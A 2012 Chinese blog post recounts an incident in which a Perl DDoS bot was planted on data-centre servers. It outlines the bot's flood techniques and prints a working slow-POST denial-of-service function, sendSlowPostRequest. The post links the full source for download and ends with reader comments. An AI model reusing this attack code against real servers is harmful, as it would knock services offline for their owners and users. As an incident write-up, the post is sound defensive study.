每一个可以努力的日子,都是一份厚礼。
记一次运维,一个 Linux 木马
上个月数据中心的多台服务器接连被人挂马,又有客户的网站被 DDOS,公司的运维整个都处于一种被打了鸡血的亢奋状态,连我手上的项目都被部门老大停了,调去帮运维。第一次见到 Linux 下面的木马,突然想起来,还是值得记录一下。
分析日志发现 Attacker 应该是通过某种途径获得了客户的后台密码,然后利用控制面板的漏洞,上传了压缩包里的 falabiya.cgi 并运行。这样会生成 .X11-unix 文件(其实就是 falabiya 那一段 base64_decode), .X11-unix即具体的后门程序。
信安专业的 Felix021 和芒果师兄都对这个案例表示出了兴趣,于是我分别和他们分析了一下。这是一段 perl 脚本,写得十分精妙。具体功能就是拿我们的服务器做肉鸡,监听端口获取指令,向指定地址发送数据,从而实行 DDOS 攻击。代码内置了几乎所有浏览器的 UA 字符串,每次都随机抽取其中一个,伪装为正常访问。genGarbage、tcp flood、udp flood、slow get/post 等各种 DDOS 方式均有实现,特别是 sendSlowPostRequest 这个方法,实在太贱了,一点点地发,对方必须 hold 住资源等你发完。。短短数百行代码,却对各种错误异常处理得十分仔细,必然出自高人之手。注释里有些不能识别的字符,也不知道是什么编码,无法推断是哪个国家的黑客写的。。
sub sendSlowPostRequest { my $host = $_[0]; my $port = $_[1]; my $path = $_[2]; my $contentLen = $_[3]; my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890"; print "start\n"; socket(SOCK, PF_INET, SOCK_STREAM, getprotobyname('tcp')); $iaddr = inet_aton($host); $paddr = sockaddr_in($port, $iaddr); connect(SOCK, $paddr); #send header send (SOCK, "POST ".$path." HTTP/1.1\r\n", 0); send (SOCK, "Host: $host\r\n", 0); send (SOCK, "User-Agent: $ua\r\n", 0); send (SOCK, "Content-type: application/x-www-form-urlencoded\r\n", 0); send (SOCK, "Content-length: $contentLen\r\n", 0); send (SOCK, "\r\n", 0); #send body for my $i (1..$contentLen){ my $symbol = substr $chars, int rand length($chars), 1; print "$symbol "; send (SOCK, $symbol, 0); sleep 3; } send (SOCK, "\r\n", 0); close(SOCK); print "end\n"; } |
后来我们清理掉了所有木马,限制脚本运行,配置防火墙阻止向外发送异常数据。至于我们自己被 DDOS 攻击,也是配防火墙搞定,那几台设备好几百万,还是相当给力的。因为来自中国的攻击很多,Boss 一直对内地黑客十分“敬仰”,要我介绍几个给他认识。。其实我是了解国内那些所谓的“黑客”的,不得已只好把也是武大信安毕业后来去中科院的 LC 拉来……后来 Boss 还跑去北京找绿盟谈过合作,据说他家要上市了。
代码请猛戳这里下载。有任何研究发现,欢迎分享。
推荐阅读:深入浅出DDoS攻击防御
这篇文章由lovelucy于2012-04-22 16:04发表在信息安全。你可以订阅RSS 2.0 也可以发表评论或引用到你的网站。除特殊说明外文章均为本人原创,并遵从署名-非商业性使用-相同方式共享创作协议,转载或使用请注明作者和来源,尊重知识分享。 |
批评不自由
则赞美无意义
Google Chrome 35.0.1916.153 Linux 大约10年前
博主你好,我下载了你提供的代码,运行了里面的x11-unix,好像每次启动机器,在/tmp/下都有X11打头的文件夹?请问我该怎么清除这个木马呢?
Google Chrome 23.0.1271.64 Windows XP 大约12年前
❓ 你们居然没有去检查服务器是否被提权,被安装rootkit了,真犀利。
Google Chrome 23.0.1271.64 Windows 7 大约12年前
这个当然查过,还有 Linux 的杀毒软件全盘扫描
Google Chrome 18.0.1025.162 Windows 7 大约12年前
下载个试试
Google Chrome 18.0.1025.151 Ubuntu Linux 大约12年前
perl写出来的代码的确很精致 😡
曾经误用一有后门的winscp,导致自己vps被黑,但没有重安装系统,自己的机器就是用来玩的,被黑也是多少能学到一点东西,最多重要的资料多备份。哈哈。
Mozilla Firefox 11.0 Windows 7 大约12年前
哈,TCP慢速率攻击,对付apache这种服务器效果可好啦。有时候被黑一下也挺好,起码搞到了一坨代码可以分析分析。
代码里的注释是俄文的。我一开始就想到的是俄文,俄罗斯是个黑客大国,俄国人的水平挺高的。想看注释内容的话选对编码,google翻译一下,还是能看出一点意思的。
PS,一般被黑了,感觉最可搞得办法还是把整个系统重装一遍,如果替换了你的每个库文件,还真是挺难找出来。
Google Chrome 19.0.1084.30 Windows 7 大约12年前
慢发可能是为了减少cpu占用吧。这样不容易被察觉到。